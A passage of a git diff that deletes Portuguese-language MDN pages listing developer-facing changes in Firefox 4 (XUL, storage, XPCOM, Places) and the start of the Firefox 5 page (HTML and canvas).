- <li>Os eventos de <code>TabClose</code>, <code>TabSelect</code> e <code>TabOpen</code> (fechar aba, selecionar aba e abrir aba) não levam mais ao elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tabbrowser">&lt;xul:tabbrowser&gt;</a></code> (<code>gBrowser</code>). Eventos <em>listeners </em>(ouvintes) para estes eventos devem ser adicionados ao <code>gBrowser.tabContainer</code> ao invés de diretamente ao <code>gBrowser</code>.</li>
- <li>O menu de contexto das abas não mais um filho anônimo do <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tabbrowser">&lt;xul:tabbrowser&gt;</a></code>. Ele pode portanto ser sobreposto diretamente com <a href="/en/XUL_Overlays" title="en/XUL Overlays">XUL overlays</a>. Ele também pode ser acessado mais diretamente com JavaScript via <code>gBrowser.tabContextMenu</code>. Veja <a class="external" href="http://www.gavinsharp.com/blog/2010/03/31/accessingmodifying-the-firefox-tab-context-menu-from-extensions/" title="http://www.gavinsharp.com/blog/2010/03/31/accessingmodifying-the-firefox-tab-context-menu-from-extensions/">esta postagem no blog</a> (en) para mais detalhes.</li>
- <li>A nova propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/visibleTabs">visibleTabs</a></span></code> foi adicionada para permitir pegar um <em>array</em> das abas visíveis correntemente; isto permite determinar quais abas estão visíveis no conjuto de abas atual. Isto é usado pelo Firefox Panorama, por exemplo.</li>
- <li>Adicionado o novo método <span id="m-showOnlyTheseTabs"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/showOnlyTheseTabs">showOnlyTheseTabs</a></code></span>; isto é usado pelo Firefox Panorama.</li>
- <li>Adicionado o novo método <span id="m-getIcon"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/getIcon">getIcon</a></code></span>, o qual permite pegar o favicon de uma aba sem ter chamar o elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/browser">&lt;xul:browser&gt;</a></code>.</li>
- <li>Adicionada a nova propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/tabbrowser.tabs">tabbrowser.tabs</a></span></code>, a qual permite facilmente pegar uma lista das abas em um elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tabbrowser">&lt;xul:tabbrowser&gt;</a></code>.</li>
- <li>Os novos métodos <span id="m-pinTab"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/pinTab">pinTab</a></code></span> e <span id="m-unpinTab"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/unpinTab">unpinTab</a></code></span> permitem que você prenda e desprenda abas (isto é, trocá-las entre serem abas de app ou abas normais).</li>
-</ul>
-
-<h4 id="Mudanças_para_popups">Mudanças para popups</h4>
-
-<ul>
- <li>Agora o elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/menupopup">&lt;xul:menupopup&gt;</a></code> do XUL possui a propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/triggerNode">triggerNode</a></span></code>, a qual indica o nó no qual o evento ocorreu, que causou a abertura do popup. Isto também requisitou a adição de um parâmetro de evento de disparo para o método <span id="m-openPopup"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/openPopup">openPopup</a></code></span>. Além disso, foi adicionada a propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/anchorNode">anchorNode</a></span></code>; ela retorna a âncora especificada quando o popup foi criado.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/panel">&lt;xul:panel&gt;</a></code> agora oferece os atributos <code id="a-fade"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/fade">fade</a></code> e <code id="a-flip"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/flip">flip</a></code>, os quais são usados para configurar o comportamento do novo estilo "<em>arrow</em>" de notificação de painéis.</li>
-</ul>
-
-<h4 id="Suporte_remoto_ao_XUL_removido">Suporte remoto ao XUL removido</h4>
-
-<p>XUL remoto não é mais suportado; isto afeta os documentos XUL servidos através de HTTP; além disso, não é mais possível carregar documentos XUL usando URLs <code>file://</code> a menos que você configure a preferência <code>dom.allowXULXBL_for_file</code> para <code>true</code>. Há, entretanto, um recurso de <em>whitelist</em> que pode ser usado para permitir domínios específicos a carregarem o XUL remotamente. O <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/235281/" rel="external nofollow" title="https://addons.mozilla.org/en-US/firefox/addon/235281/">Remote XUL Manager extension</a> permite o gerenciamento desta <em>whitelist</em>.</p>
-
-<h4 id="Mudanças_diversas_no_XUL">Mudanças diversas no XUL</h4>
-
-<ul>
- <li>O atributo <code id="a-readonly"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/readonly">readonly</a></code> agora funciona corretamente para campos.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/resizer">&lt;xul:resizer&gt;</a></code> agora permite o uso do atributo <code id="a-element"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/element">element</a></code> para especificar um elemento a ser redimencionado, ao invés de redimencionar a janela.</li>
- <li>O elemtno <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/resizer">&lt;xul:resizer&gt;</a></code> possui agora um atributo <code id="a-resizer.type"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/resizer.type">type</a></code> que permite especificar que o redimencionador é para uma janela ao invés de um elemento, para prevenir o redimencionador da janela de ser dobrado.</li>
- <li>O atributo "active" não é mais configurado como ativo em janelas XUL. Ao invés disso, você pode usar a nova pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-window-inactive" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-window-inactive</code></a> para definir diferentes estilos para as os fundos das janelas.</li>
- <li>O atributo <code id="a-emptytext"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/emptytext">emptytext</a></code> está agora obsoleto; ao invés dele, você deve usar o <code id="a-placeholder"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/placeholder">placeholder</a></code>.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/popup">&lt;xul:popup&gt;</a></code> não é mais suportado; ao invés dele, você deve usar o <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/menupopup">&lt;xul:menupopup&gt;</a></code>.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/window">&lt;xul:window&gt;</a></code> agora oferece um atributo <code id="a-accelerated"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/accelerated">accelerated</a></code>; quando verdadeiro, é permitido ao gerenciador de camadas por hardware, acelerar a janela.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/stack">&lt;xul:stack&gt;</a></code> agora suporta os atributosl <code id="a-bottom"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/bottom">bottom</a></code> e <code id="a-right"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/right">right</a></code>.</li>
- <li>Os eventos agora são lançados durante a customização da <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/toolbox">&lt;xul:toolbox&gt;</a></code>, permitindo a <a href="/en/XUL/Toolbars/Toolbar_customization_events" title="en/XUL/Toolbars/Toolbar customization events">detecção de mudanças nas barras de ferramentas</a> (en).</li>
- <li>O atributo <code id="a-alternatingbackground"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/alternatingbackground">alternatingbackground</a></code> para elementos <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tree">&lt;xul:tree&gt;</a></code> não é mais suportado; ao invés dele, você pode usar a pseudoclasse <a href="/pt-PT/docs/Web/CSS/:-moz-tree-row" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-tree-row</code></a>.</li>
- <li>O botão de exibição da barra de ferramentas dos favoritos com <em>anonid chevronPopup</em> não é mais anônimo; ele possui um ID de "PlacesChevron".</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tabs">&lt;xul:tabs&gt;</a></code> agora possui a propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/tabbox">tabbox</a></span></code>, substituindo a antiga propriedade <code>_tabbox</code>, a qual está obsoleta (e nunca foi documentada).</li>
- <li>Elementos XUL <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/window">&lt;xul:window&gt;</a></code> agora possuem o atributo <code id="a-drawintitlebar"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/drawintitlebar">drawintitlebar</a></code>; se ele for <code>true</code>, a área de conteúdo da janela inclui a barra de títulos, permitindo desenhar na barra de títulos.</li>
- <li>Os novos elementos <code>TabPinned</code> e <code>TabUnpinned</code> estão disponíveis, permitindo que você <a href="/en/Code_snippets/Tabbed_browser#Notification_when_a_tab_is_pinned_or_unpinned" title="https://developer.mozilla.org/en/Code_snippets/Tabbed_browser#Notification_when_a_tab_is_pinned_or_unpinned">detecte quando abas são prendidas e desprendidas</a> (en).</li>
- <li>O novo <a href="/en/Code_snippets/Tabbed_browser#Notification_when_a_tab%27s_attributes_change" title="en/Code snippets/Tabbed browser#Notification when a tab's attributes change"> evento </a><a href="/en/Code_snippets/Tabbed_browser#Notification_when_a_tab%27s_attributes_change" title="en/Code snippets/Tabbed browser#Notification when a tab's attributes change"><code>TabAttrModified</code></a> é enviado quando os atributos <code id="a-label"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code>, <code id="a-crop"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/crop">crop</a></code>, <code id="a-busy"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/busy">busy</a></code>, <code id="a-image"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/image">image</a></code> ou <code id="a-selected"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code> das abas são modificados.</li>
- <li>Os elementos <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tab">&lt;xul:tab&gt;</a></code> agora possuem um atributo <code id="a-pinned"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/pinned">pinned</a></code>, permitindo que você determine quando uma aba está ou não correntemente presa.</li>
- <li>A classe <code>setDirectionIndicator</code> em elementos <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/tree">&lt;xul:tree&gt;</a></code> não fez nada por algum tempo; agora ela não é mais usada.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/window">&lt;xul:window&gt;</a></code> possui agora um atributo <code id="a-chromemargin"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/chromemargin">chromemargin</a></code> que permite configurar margens entre o <em>chrome</em> e o conteúdo de cada lado da janela; isto pode ser usado para desenhar na barra de títulos, por exemplo.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/window">&lt;xul:window&gt;</a></code> possui agora um atributo <code id="a-disablechrome"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/disablechrome">disablechrome</a></code>; ele é usado para esconder a maioria do <em>chrome</em> em uma janela quando ela está sendo usada para exibir a IU no navegador, como em <code>about:addons</code>.</li>
- <li>O elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/window">&lt;xul:window&gt;</a></code> possui agora um atributo <code id="a-disablefastfind"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/disablefastfind">disablefastfind</a></code>, o qual permite desabilitar a barra de busca em uma janela quando o conteúdo não a suporta. Isto é usado, por exemplo, no painel de complementos.</li>
- <li>Barras de ferramentas agora podem ser caixas de ferramentas externas, enquanto continuarem sendo consideradas membros da  <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/toolbox">&lt;xul:toolbox&gt;</a></code>, configurando a propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/toolboxid">toolboxid</a></span></code> da <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/toolbox">&lt;xul:toolbox&gt;</a></code>. Além disso, o elemento <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/toolbox">&lt;xul:toolbox&gt;</a></code> agora possui uma propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/externalToolbars">externalToolbars</a></span></code>, a qual lista todas as barras de ferramentas consideradas membros da caixa de ferramentas.</li>
- <li>Foi adicionado suporte a <a href="/en/XUL/Template_Guide/Template_Logging" title="en/XUL/Template Guide/Template Logging">logging XUL templates</a> para propósitos de depuração.</li>
-</ul>
-
-<h3 id="Mudanças_na_IU_que_afetam_os_desenvolvedores">Mudanças na IU que afetam os desenvolvedores</h3>
-
-<dl>
- <dt><a href="/en/The_add-on_bar" title="en/The add-on bar">A barra de complementos</a></dt>
- <dd>O estado da barra foi removido em favor de uma nova barra de complementos. Será necessário atualizar sua extensão para usar isto se você já adicionou a IU à barra de estado no passado.</dd>
-</dl>
-
-<h3 id="Armazenamento">Armazenamento</h3>
-
-<h4 id="Mudanças_diversas_na_API_storage_de_armazenamento">Mudanças diversas na API storage (de armazenamento)</h4>
-
-<ul>
- <li>A interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageBindingParamsArray" title="">mozIStorageBindingParamsArray</a></code> possui agora um atributo <em>length</em> (comprimento) que indica o número de objetos <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageBindingParams" title="">mozIStorageBindingParams</a></code> no <em>array</em>.</li>
- <li>O <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/mozIStorageStatement#bindParameters()">mozIStorageStatement.bindParameters()</a></code> agora retorna um erro se a <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIStorageBindingParamsArray" title="">mozIStorageBindingParamsArray</a></code> especificada estiver vazia.</li>
- <li>Adicionado o método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/mozIStorageConnection#clone()">mozIStorageConnection.clone()</a></code>, o qual permite a clonagem de uma conexão de um banco de dados existente.</li>
- <li>Adicionado o método  <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/mozIStorageConnection#asyncClose()">mozIStorageConnection.asyncClose()</a></code>, o qual permite fechar ua conexão assíncronamente; você especifica um <em>callback</em> para ser notificado quando a operação de fechamento estiver completa.</li>
- <li>Adicionado o método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/mozIStorageConnection#setGrowthIncrement()">mozIStorageConnection.setGrowthIncrement()</a></code>, o qual permite a especificação da quantidade a qual o arquivo de banco de dados cresce com o tempo, para ajudar o SQLite a reduzir a fragmentação.</li>
- <li>O erro <code>SQLITE_CONSTRAINT</code> é agora reportado como <code>NS_ERROR_STORAGE_CONSTRAINT</code> ao invés de como <code>NS_ERROR_FAILURE</code>.</li>
-</ul>
-
-<h3 id="XPCOM">XPCOM</h3>
-
-<p>Em adição à mudanças específicas referenciadas abaixo, é importante notar que não existem mais interfaces estáticas. Todas as interfaces são dinâmicas, independente do que a documentação pode dizer. Atualizaremos a documentação com o tempo.</p>
-
-<dl>
- <dt><a href="/pt/XPCOM/Mudancas_no_XPCOM_no_Gecko_2.0" title="pt/XPCOM/Mudancas no XPCOM no Gecko 2.0">Mudanças no XPCOM no Gecko 2.0</a></dt>
- <dd>Detalhes sobre as mudanças para o XPCOM que causam algum impacto na compatibilidade do Firefox 4.</dd>
- <dt><a href="/en/Components.utils.getGlobalForObject" title="en/Components.utils.getGlobalForObject">Components.utils.getGlobalForObject()</a></dt>
- <dd>Este novo método retorna o objeto global com o qual um objeto é associado; ele substitui um caso de uso comum do agora removido <code>__parent__</code>.</dd>
-</dl>
-
-<h3 id="Places">Places</h3>
-
-<ul>
- <li>Os resultados de consultas no Places podem agora ser vistos por múltiplos observadores eas consultas podem ser executadas assíncronamente. Isto significa que há algumas mudanças nas interfaces <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResult" title="">nsINavHistoryResult</a></code>, <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions" title="">nsINavHistoryQueryOptions</a></code>, e <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryContainerResultNode" title="">nsINavHistoryContainerResultNode</a></code>. Mais significantemente, a interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultViewer" title="">nsINavHistoryResultViewer</a></code> foi renomeada para <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResultObserver" title="">nsINavHistoryResultObserver</a></code>.</li>
- <li>Algumas <a href="/en/Observer_Notifications#Places" title="en/Observer Notifications#Places">novas notificações</a> foram adicionadas para permitir que o navegador controle os processos de desligamento do serviço Places com mais segurança. Destas, a maioria é somente para uso interno, mas o conhecimento da notificação <code>places-connection-closed</code> está disponível quando o serviço Places completa seu processo de desligamento.</li>
- <li>Agora o tamanho de saída do <em>array</em> em vários métodos do Places é opcional.</li>
- <li>Foi removido o suporte para <code>&lt;menupopup type="places"&gt;</code>.  Ao invés, é necessário criar e popular um menu com informações do Places manualmente, ao invés de ter isto feito para você. Veja <a href="/en/Displaying_Places_information_using_views#Menu_view" title="en/Displaying Places information using views#Menu view">Displaying Places information using views: Menu view</a> para detalhes.</li>
-</ul>
-
-<h3 id="Mudanças_na_interface">Mudanças na interface</h3>
-
-<ul>
- <li>As interfaces <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDocShell" title="">nsIDocShell</a></code> e <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWebBrowser" title="">nsIWebBrowser</a></code> agora possuem um novo atributo <code>isActive</code>, o qual é usado para permitir a otimização de caminhos de código para documentos que não estão visíveis correntemente.</li>
- <li>O método <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMemory" title="">nsIMemory</a></code> de <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIMemory#isLowMemory()">nsIMemory.isLowMemory()</a></code> <a href="/en/XPCOM_Interface_Reference/nsIMemory/isLowMemory" title="en/XPCOM Interface Reference/nsIMemory/isLowMemory">isLowMemory</a> foi considerado obsoleto. Ao invés disso, você deve usar <a href="/en/XPCOM_Interface_Reference/nsIMemory#Low_memory_notifications" title="en/XPCOM Interface Reference/nsIMemory#Low memory notifications">notificações "memory-pressure"</a> (en) para lidar com situações de pouca memória.</li>
- <li>A API para lidar com redirecionamentos em canais HTTP mudou para permitir que sejam processados assincronamente, qualquer código implementado que lide com redirecionamento usando <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIChannelEventSink#onChannelRedirect()">nsIChannelEventSink.onChannelRedirect()</a></code> precisa ser atualizado para, ao invés disso, usar <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIChannelEventSink#asyncOnChannelRedirect()">nsIChannelEventSink.asyncOnChannelRedirect()</a></code>. Isto aceita um manipulador de <em>callbacks</em>, que precisa er chamado quando um redirecionamento é completado com sucesso.</li>
- <li>Foi adicionado o método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsINavHistoryResultObserver#batching()">nsINavHistoryResultObserver.batching()</a></code> proporcionando uma maneira para agrupar as operações do Places em lotes, reduzindo o número de notificações de atualização enviadas, o que pode melhorar a performance quando observadores estão realizando tarefas (assim como recarregar visualizações).</li>
- <li>A interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPref" title="">nsIPref</a></code>, obsoleta durante algum tempo, finalmente foi removida. Se você já não mudou para <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPrefService" title="">nsIPrefService</a></code>, agora é o momento.</li>
- <li>As interfaces <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISessionStore" title="">nsISessionStore</a></code> e <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISessionStartup" title="">nsISessionStartup</a></code> receberam mudanças para suportar a restauração das sessões, sob demanda. Veja o método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsISessionStore#restoreLastSession()">nsISessionStore.restoreLastSession()</a></code>.</li>
- <li>Os métodos <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIPrincipal#subsumes()">nsIPrincipal.subsumes()</a></code> e <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIPrincipal#checkMayLoad()">nsIPrincipal.checkMayLoad()</a></code> do <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIPrincipal" title="">nsIPrincipal</a></code>, assim como seus atributos <code>origin</code>, <code>csp</code>, e <code>URI</code>, estão agora disponíveis através de <em>scripts</em>; anteriormente eles estavam disponíveis apenas através de códigos nativos.</li>
-</ul>
-
-<h3 id="Gerenciamento_de_memória">Gerenciamento de memória</h3>
-
-<dl>
- <dt><a href="/en/Infallible_memory_allocation" title="en/Infallible memory allocation">Alocação de memória infalível</a></dt>
- <dd>A Mozilla, agora proporciona alocadores de memória infalíveis que são garantem que não haverá um retorno <em>null</em>. Você deve ler este artigo para aprender como eles trabalham e como solicitar explicitamente a alocação de memória falível versus invalível.</dd>
-</dl>
-
-<h3 id="Outras_mudanças">Outras mudanças</h3>
-
-<ul>
- <li>A maioria dos recursos contidos no Firefox foi combinado em um único arquivo JAR, <code>omni.jar</code>, o qual melhora a performance na inicialização reduzindo I/O. Para detalhes, leia <a href="/en/About_omni.jar" title="en/About omni.jar">Sobre omni.jar</a> (en).</li>
- <li>A preferência <code>accessibility.disablecache</code> não é mais suportada; ela está exposta apenas para propósitos de depuração e não é mais usada.</li>
- <li>Complementos cujas GUID mudam de uma versão para outra podem agora ser atualizados corretamente.</li>
- <li>Como um efeito colateral devido a remoção dos diretórios específicos para plataformas em pacotes de complementos, não é mais possível proporcional diferentes preferências padrão para cada plataforma.</li>
-</ul>
-
-<h2 id="Outras_mudanças_2">Outras mudanças</h2>
-
-<dl>
- <dt>Somente o arquivo chrome.manifest raiz é carregado</dt>
- <dd>Agora somente o arquivo <code>chrome.manifest</code> raiz é carregado; se você necessitar de um arquivo de manifesto secundário para ser carregado, você pode usar o comando <a href="/en/Chrome_Registration#manifest" title="en/Chrome Registration#manifest"><code>manifest</code></a> no seu  <code>chrome.manifest</code> raiz para carregá-lo.</dd>
- <dt>Removido o suporte ao Gopher</dt>
- <dd>O protocolo Gopher não é mais suportado nativamente. O suporte continuado está disponível pela extensão <a class="link-https" href="https://addons.mozilla.org/addon/7685/">OverbiteFF</a>.</dd>
- <dt><a href="/en/The_message_manager" title="en/Content process event handling">Processamento de eventos de manipulação de conteúdo</a></dt>
- <dd>Com o objetivo de suportar <em>plugins</em> fora do processo e outra características de multi processamento, uma nova API foi introduzida para suportar o envio de mensagens através de processos.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrappable extensions">Extensões Bootstrapped</a> (en)</dt>
- <dd>Agora é possível criar extensões que podem ser instaladas, desinstaladas e atualizadas (ou desatualizadas) sem a necessidade de reiniciar o navegador.</dd>
-</dl>
-
-<dl>
- <dt>Plugin padrão removido</dt>
- <dd>O plugin padrão foi removido. A pasta de aplicações plugin também foi removida por padrão, entretanto o suporte para a instalação de plugins através desta pasta ainda existe. Veja <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=533891">bug 533891</a>.</dd>
- <dt>Gerenciador de Extensões substituido pelo Gerenciador de Complementos</dt>
- <dd>O <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIExtensionManager" title="">nsIExtensionManager</a></code>  foi substituido pelo <a href="/en/Addons/Add-on_Manager/AddonManager" title="en/Addons/Add-on_Manager/AddonManager">Gerenciador de Complementos</a> (en).</dd>
- <dt>Os filhos HWND não são mais usados</dt>
- <dd>O Firefox não cria mais filhos HWND para seu uso interno no Windows. Se você escreveu uma extensão que usa código nativo para manipular estas HWND, a sua extensão não funcionará no Firefox 4. Você precisará ou parar de usar HWND ou empacotar seu código dependente de HWND em um plugin <a href="/en/NPAPI" title="en/NPAPI">NPAPI</a>. Isto dará um grande trabalho, então se for possível não fazer uso do HWND diretamente, é recomendado evitá-lo.</dd>
- <dt>Mudanças nos gestos</dt>
- <dd>A rolagem com três dedos para cima ou para baixo em <em>trackpads</em> foi alterada para, por padrão, abrir e fechar a visão do Firefox Panorama (criado como TabCandy). Para voltar aos comando anteriores de rolagem para cima e para baixo, abra about:config e configure <code>browser.gesture.swipe.down</code> para <code>cmd_scrollBottom</code> e <code>browser.gesture.swipe.up</code> para <code>cmd_scrollTop</code>.</dd>
-</dl>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="/pt/Firefox_3.6_para_desenvolvedores" title="pt/Firefox 3.6 para desenvolvedores">Firefox 3.6 para desenvolvedores</a></li>
- <li><a href="/Pt/Firefox_3.5_para_desenvolvedores" title="pt/Firefox 3.5 para desenvolvedores">Firefox 3.5 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_3_para_desenvolvedores" title="pt/Firefox 3 para desenvolvedores">Firefox 3 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox 2 para desenvolvedores">Firefox 2 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_1.5_para_Desenvolvedores" title="pt/Firefox 1.5 para desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/firefox/releases/5/index.html b/files/pt-pt/mozilla/firefox/releases/5/index.html
deleted file mode 100644
index 4565a3131d..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/5/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: Firefox 5 para desenvolvedores
-slug: Mozilla/Firefox/Releases/5
-translation_of: Mozilla/Firefox/Releases/5
-original_slug: Firefox_5_para_desenvolvedores
----
-<div>{{FirefoxSidebar}}</div><p>{{ draft() }}</p>
-<p>O Firefox 5, é baseado no Gecko 5.0 e será lançado na metade de 2011. Este artigo proporciona links para informações sobre as mudanças que afetam os desenvolvedores nesta versão. Os <span style="font-style: italic;">n</span><em>ightly builds</em> do futuro Firefox 5 estão <a class="external" href="http://www.mozilla.com/en-US/firefox/channel/">disponíveis atualmente</a> no canal Beta (iesto é, na seção <a href="/En/Developer_Guide/Source_Code/Mercurial#mozilla-beta_(prerelease_development_tree)" title="En/Developer_Guide/Source_Code/Mercurial#mozilla-beta_(prerelease_development_tree)">mozilla-beta</a>).</p>
-<div class="note">
- <strong>Nota:</strong> Devido à maneira de funcionamento do processo de desenvolvimento, é possível que características atualmente listadas aqui possam ser transferidas para versões futuras do Firefox, por este motivo, por favor, fique atento a esta página.</div>
-<h2 id="Mudanças_para_desenvolvedores">Mudanças para desenvolvedores</h2>
-<h3 id="HTML">HTML</h3>
-<ul>
- <li>Todos os elementos HTML agora possuem o atributo {{ domxref("element.accessKey", "accessKey") }}, assim como os métodos {{ domxref("element.blur()", "blur()") }}, {{ domxref("element.click()", "click()") }} e {{ domxref("element.focus()", "focus()") }}. Os quais estão especificados na interface {{ domxref("HTMLElement") }}.</li>
- <li>Com o objetivo de cumprir a especificação do HTML5, foi removido o suporte aos <a href="/en/Character_Sets_Supported_by_Gecko" title="en/Character Sets Supported by Gecko">conjuntos de caracteres</a> UTF-7 e UTF-32.</li>
- <li>Peculiarmente, {{ HTMLElement("map") }} vazios não são mais ignorados em favor de não vazios quando houver correspondência. Veja as <a href="/en/HTML/Element/map#Gecko_notes" title="en/HTML/Element/map#Gecko notes">notas do Gecko</a> sobre o elemento {{ HTMLElement("map") }} para detalhes.</li>
-</ul>
-<h4 id="Melhorias_no_Canvas">Melhorias no Canvas</h4>
-<ul>
- <li>O contexto de desenhos 2D do {{ HTMLElement("canvas") }} agora suporta a especificação de um objeto <code>ImageData</code> como entrada para o método <code>createImageData()</code>; isto <a href="/En/HTML/Canvas/Pixel_manipulation_with_canvas#Creating_an_ImageData_object" title="En/HTML/Canvas/Pixel manipulation with canvas#Creating an ImageData object">cria um novo objeto <code>ImageData</code></a> inicializado com as mesmas dimensões do objeto especificado, mas ainda assim com pixels pré configurados para preto transparente. Isto já foi documentado, mas ainda não foi implementado.</li>
- <li>A especificação de valores não finitos durante a adicão de cores, agora, através do método {{ domxref("CanvasGradient") }} <code>addColorStop()</code> agora lança corretamente <code>INDEX_SIZE_ERR</code> ao invés de <code>SYNTAX_ERR</code>.</li>
- <li>O método {{ domxref("HTMLCanvasElement") }} <code>toDataURL()</code> agora deixa as letras do tipo MIME especificado, minúsculas corretamente, antes da comparação.</li>
- <li><code>getImageData()</code> agora aceita corretamente retângulos que se estendem além do limite do seu canvas; pixels fora do canvas são retornados como preto transparente.</li>
